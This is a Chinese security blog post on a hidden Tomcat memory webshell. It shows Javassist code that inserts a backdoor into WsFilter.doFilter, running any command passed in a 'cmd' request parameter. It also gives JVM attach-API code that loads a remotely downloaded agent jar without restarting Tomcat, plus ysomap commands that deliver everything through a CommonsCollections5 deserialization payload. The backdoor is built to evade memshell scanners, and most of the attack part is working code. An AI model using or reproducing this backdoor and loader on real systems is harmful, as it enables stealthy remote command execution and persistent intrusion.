“备周则意怠;常见则不疑。阴在阳之内,不在阳之对。”
----《三十六计·瞒天过海》
0x00 前言
关于这篇文章其实源自逛先知的一次经历,看到@4ra1n师傅写的一篇《从一个被Tomcat拒绝的漏洞到特殊内存马》,原文链接是:https://xz.aliyun.com/t/10577。看完之后顿时就提起了兴趣,4ra1n师傅在文章中指出该方法大致有两点问题:
- 需要替换依赖中的Jar包,并重写目标WsFilter类
- 替换好的依赖还需要重启Tomcat才能加载成功
因此在利用过程中会存在很大程度的限制,于是乎我就想有没有更好的办法能够降低利用所需的必备条件。
0x01 隐藏内存马原理
先来看一下4ra1n师傅提出的隐藏内存马,实质上就是替换Tomcat默认的WsFilter类。同时因为Memshell检测工具的原理实质上是发现是否有多余的Filter注册,而默认的情况下WsFilter是会存在的,因此达到瞒天过海的目的。
Memshell检测工具地址:https://github.com/c0ny1/java-memshell-scanner/blob/master/tomcat-memshell-scanner.jsp
再来看看修改WsFilter的doFilter方法后的内容
0x02 Javassist改写目标类
原理既然已经了解了,就开始寻找怎样能够降低利用成本,达到改写WsFilter的目的。
如果了解过Java字节码的伙伴应该就对javassist工具类不陌生了,这里我的想法就是通过javassist来修改目标WsFilter中的代码,并动态写入我的恶意后门代码。
private static final String HOOK_CLASS = "org.apache.tomcat.websocket.server.WsFilter";
try {
ClassPool pool = ClassPool.getDefault();
//ClassPool pool = new ClassPool(true);
ClassClassPath classPath = new ClassClassPath(this.getClass());
pool.insertClassPath(classPath);
//将当前ClassLoader添加到ClassPath
pool.appendClassPath(new LoaderClassPath(loader));
pool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
pool.appendSystemPath(); // the same class path as the default one.
pool.childFirstLookup = true;
CtClass ctClass = pool.get(HOOK_CLASS);
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter",new CtClass[]{pool.get("javax.servlet.ServletRequest"),pool.get("javax.servlet.ServletResponse"),pool.get("javax.servlet.FilterChain")});
ctMethod.insertBefore("String cmd = $1.getParameter(\"cmd\");" +
" if (cmd != null && !cmd.equals(\"\")) {" +
" Process process = Runtime.getRuntime().exec(cmd);" +
" StringBuilder outStr = new StringBuilder();" +
" $2.getWriter().print(\"<pre>\");" +
" java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());" +
" java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);" +
" String s = null;" +
" while ((s = stdInput.readLine()) != null) {" +
" outStr.append(s + \"\\n\");" +
" }" +
" $2.getWriter().print(outStr.toString());" +
" $2.getWriter().print(\"</pre>\");" +
" }");
System.out.println("Access In Method");
return ctClass.toBytecode();
} catch (Throwable e) {
System.out.println("Access In ExceptionCatch Method");
e.printStackTrace();
}
打包的时候一定要使用assembly的方式把javassist的依赖也打包进jar包中
mvn clean assembly:assembly
之后会在target目录出现ProjectName-jar-with-dependencies.jar的文件,之后再Tomcat启动的时候用-javaagent:/tmp/ProjectName-jar-with-dependencies.jar的方式运行agent即可使用后门。
0x03 JVM API动态注入Agent
上述方式虽然已经可以动态改写WsFilter了,但是还需要重启Tomcat才能使JVM中携带-javaagent的方式运行,因此整个利用过程中最致命的问题还未解决。
为了解决这个办法,我想到了动态加载Agent的方式,也就是通过调用JVM的API来加载Agent到目标jvm进程中。但是jvm中默认是不加载这些API的,因此需要用URLClassLoader的方式将相关的API加载进jvm中,对应的路径就是Tools.jar
URL url1 = new URL("file:C:\\Program Files\\Java\\jdk1.8.0\\lib\\tools.jar");
URLClassLoader urlClassLoader = new URLClassLoader(new URL[] { url1 }, Thread.currentThread()
.getContextClassLoader());
再然后将需要用的类加载到Map中
Class<?> virtualMachine = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
classMap.put("com.sun.tools.attach.VirtualMachine", virtualMachine);
Class<?> hostIdentifier = urlClassLoader.loadClass("sun.jvmstat.monitor.HostIdentifier");
classMap.put("sun.jvmstat.monitor.HostIdentifier", hostIdentifier);
Class<?> monitorException = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitorException");
classMap.put("sun.jvmstat.monitor.MonitorException", monitorException);
Class<?> monitoredHost = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitoredHost");
classMap.put("sun.jvmstat.monitor.MonitoredHost", monitoredHost);
Class<?> monitoredVm = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitoredVm");
classMap.put("sun.jvmstat.monitor.MonitoredVm", monitoredVm);
Class<?> monitoredVmUtil = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitoredVmUtil");
classMap.put("sun.jvmstat.monitor.MonitoredVmUtil", monitoredVmUtil);
Class<?> vmIdentifier = urlClassLoader.loadClass("sun.jvmstat.monitor.VmIdentifier");
classMap.put("sun.jvmstat.monitor.VmIdentifier", vmIdentifier);
后续就只用通过反射来调用loadAgent来加载目标jar包,但是该jar包只允许本地的,因此需要通过远程下载的方式将jar包下载到临时目录,然后加载。
try {
Object hostId = classMap.get("sun.jvmstat.monitor.HostIdentifier").getDeclaredConstructor(String.class).newInstance("localhost");
Method getMonitoredHost = classMap.get("sun.jvmstat.monitor.MonitoredHost").getMethod("getMonitoredHost",classMap.get("sun.jvmstat.monitor.HostIdentifier"));
Object mHost = getMonitoredHost.invoke(classMap.get("sun.jvmstat.monitor.MonitoredHost"),hostId);
Method activeVms = classMap.get("sun.jvmstat.monitor.MonitoredHost").getMethod("activeVms");
Set jvms = (Set) activeVms.invoke(mHost);
for (Iterator j = jvms.iterator(); j.hasNext(); ) {
int lvmid = ((Integer) j.next()).intValue();
//System.out.println(String.valueOf(lvmid));
try {
String vmidString = "//" + lvmid + "?mode=r";
Object id = classMap.get("sun.jvmstat.monitor.VmIdentifier").getDeclaredConstructor(String.class).newInstance(vmidString);
Method getMonitoredVm = classMap.get("sun.jvmstat.monitor.MonitoredHost").getMethod("getMonitoredVm",classMap.get("sun.jvmstat.monitor.VmIdentifier"),int.class);
Object vm = getMonitoredVm.invoke(mHost,id,0);
Method mainClass = classMap.get("sun.jvmstat.monitor.MonitoredVmUtil").getMethod("mainClass",classMap.get("sun.jvmstat.monitor.MonitoredVm"),boolean.class);
String mainName = (String) mainClass.invoke(classMap.get("sun.jvmstat.monitor.MonitoredVmUtil"),vm,false);
if(mainName.equals("Bootstrap")) {
Method attach = classMap.get("com.sun.tools.attach.VirtualMachine").getMethod("attach", String.class);
Object vMachine = attach.invoke(classMap.get("com.sun.tools.attach.VirtualMachine"),String.valueOf(lvmid));
Method loadAgent = classMap.get("com.sun.tools.attach.VirtualMachine").getMethod("loadAgent", String.class);
loadAgent.invoke(vMachine,System.getProperty("java.io.tmpdir") + "TomcatAgent.jar"); //临时Agent的路径
System.out.println("Load Agent Successful!");
}
}catch (Exception e) {
e.printStackTrace();
} finally {
}
}
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
}
这样一来,就无需再重启Tomcat即可修改WsFilter的内容,达到降低利用的标准,但是又引出了新的问题出来:
- 因为要动态注入Agent到jvm中,因此需要调用JVM的API,也就是需要知道Tools.jar的绝对路径
- VirtualMachine.loadAgent()方法之能加载本地的jar,因此需要下载远程jar到本地再加载,因此需要目标机器能够出网。
0x04 YsoMap工具的Bullet编写
刚好前几天看到Skay表姐发布的YsoMap分析文章,就研究了一点点,并借此机会写一个新的Bullet利用模块,以达到通过反序列化漏洞的方式加载上述编写的Tomcat隐藏内存马。
这次编写共添加了两个Bullet,一个用于生成恶意agent的ClassWithTomcatConcealedMemShell类,并启动Http服务;另一个就是通过反序列化CC链来生成恶意的Payload的TransformerWithTomcatConcealedMemShellBullet类。
具体代码如下:
这里会调用getObject来生成jar包,并读取jar包的字节流到内存并返回
public static byte[] makeClassWithMemShell(String classname) throws Exception {
ClassPool pool = new ClassPool(true);
pool.appendClassPath(new ClassClassPath(AppRunStart.class));
CtClass cc = pool.getCtClass(AppRunStart.class.getName());
cc.setName(classname.replaceAll("/","."));
return cc.toBytecode();
}
其中AppRunStart.class就是之前的反射调用JVM API加载agent的代码
再来看看运行该bullet之后的事情
同样的,再来看看反序列化生成CC链的bullet
必要的参数有以上四个,再来看看该bullet中的getObject方法的实现
这里其实就是调用对应类的(String,String)的构造方法,同时将远程的jarUrl地址和jdk下Tools.jar的绝对路径作为参数传入进去。
0x05 模拟攻击测试
将改写好的ysomap直接用mvn打包好运行(这里其实有个坑,打包好的ysomap不能运行在包含中文的目录下,因为我在生成恶意Agent的时候会把agent的模板作为资源文件放入到ysomap中了,因此中文路径下可能会造成中文编码从而找不到路径)
首先先调用生成恶意Agent的bullet
#java -jar ./ysomap.jar cli
#ysomap > use exploit SimpleHTTPServer
#ysomap > use payload EvilFileWrapper
#ysomap > use bullet ClassWithTomcatConcealedMemShell
设置好模块之后,就跟MSF的使用很相似了,设置对应的参数
按照要求设置完成对应的参数后运行run
之后访问http://127.0.0.1:2334/evil.jar就能访问到生成的恶意Agent
创建完后记得不要用clear清楚掉当前的session
直接用session c的方式创建一个新的session来生成CC链Payload
#ysomap >session c
#ysomap >use payload CommonsCollections5
#ysomap >use bullet TransformerWithTomcatConcealedMemShellBullet
#ysomap >set className org.test.evil.RunApp
#ysomap >set jarUrl http://127.0.0.1:2334/evil.jar
#ysomap >set jdkToolsPath "file:C:\\Program Files\\Java\\jdk1.8.0_181\\lib\\tools.jar"
#ysomap >set encoder base64
#ysomap >set output console
设置完后运行bullet得到payload如下:
运行tomcat后我这里就随便写个反序列化漏洞来执行payload
之后访问后门
0x06 后续
个人感觉是非常不错的一款反序列化利用工具,操作简便,可扩展性也很强,就是相关Wiki补充的还比较少,导致设置encoder和output参数时候只能通过手撕代码才能知道这两个参数。文章中的相关代码我已经联系wh1t3p1g师傅并提交pr了,感兴趣的小伙伴可以上GitHub上拉取下来自己编译一下。
0x07 Reference
[1].https://xz.aliyun.com/t/10577
[2].https://github.com/wh1t3p1g/ysomap
[3].https://github.com/c0ny1/java-memshell-scanner/blob/master/tomcat-memshell-scanner.jsp